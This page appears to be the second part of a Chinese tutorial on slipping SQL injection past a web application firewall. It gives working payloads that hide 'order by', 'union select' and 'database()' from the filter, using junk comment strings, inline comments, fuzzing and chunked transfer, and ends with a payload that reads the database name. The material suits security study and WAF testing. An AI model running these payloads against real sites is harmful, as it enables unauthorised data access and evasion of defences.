主页 > 网络知识 > 绕过WAF的常见Web漏洞利用分析(2)

绕过WAF的常见Web漏洞利用分析(2)

 

1605062319_5fab4eafd341797e79deb.png!small?1605062319868

 

可以看到,没有被拦截。

1' and 1=2 --+

 

1605062323_5fab4eb3d70805315e53d.png!small?1605062323901

 

猜解字段数 方法一

order by被拦截

 

1605062327_5fab4eb7914310263f563.png!small?1605062327562

 

单独的order和单独的by都不会被拦截,我们需要在order by之间加各种无效字符。

可以将 1' order /*$xxx$*/ by 1 --+  放burp里跑各种垃圾参数字典来爆破。

经过测试,1' order/*%%!asd%%%%*/by 3 --+可以成功过狗

 

1605062331_5fab4ebb95b9a30e5bdb8.png!small?1605062331590

 

通过内联注释/*!*/和注释/**/以及一些无效字符也可以绕过(需要不断Fuzz尝试)

1' /*!order/*!/*/**/by*/ 3 --+

 

1605062334_5fab4ebebe6bbf38e4496.png!small?1605062334851

 

方法二 分块传输

1' order by 3 --+

 

1605062347_5fab4ecb3d161bc044b05.png!small?1605062347576

 

 

1605062351_5fab4ecfa1ca7d99fcaed.png!small?1605062351635

 

获取当前数据库 方法一

1' union select 1,database() --+ 被拦截

分开测试  union select 会被拦截

 

1605062381_5fab4eeddcec384413738.png!small?1605062381888

 

database() 也会被拦截

 

1605062386_5fab4ef21f9b884e335c6.png!small?1605062386137

 

先绕过union select:

和之前order by的绕过方法一样

1' union/*%%!asd%%%%*/select 1,2 --+

 

1605062390_5fab4ef611bf3950f1022.png!small?1605062390096

 

再绕过database():

经过测试,我们发现单独的database不会被拦截,加了括号就会了

我们将之前的垃圾数据/*%%!asd%%%%*/放到括号了,即可成功绕过

 

1605062394_5fab4efa1500026d51b51.png!small?1605062394065

 

拼接一下,最终的payload为:

1' union/*%%!asd%%%%*/select 1,database(/*%%!asd%%%%*/) --+

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!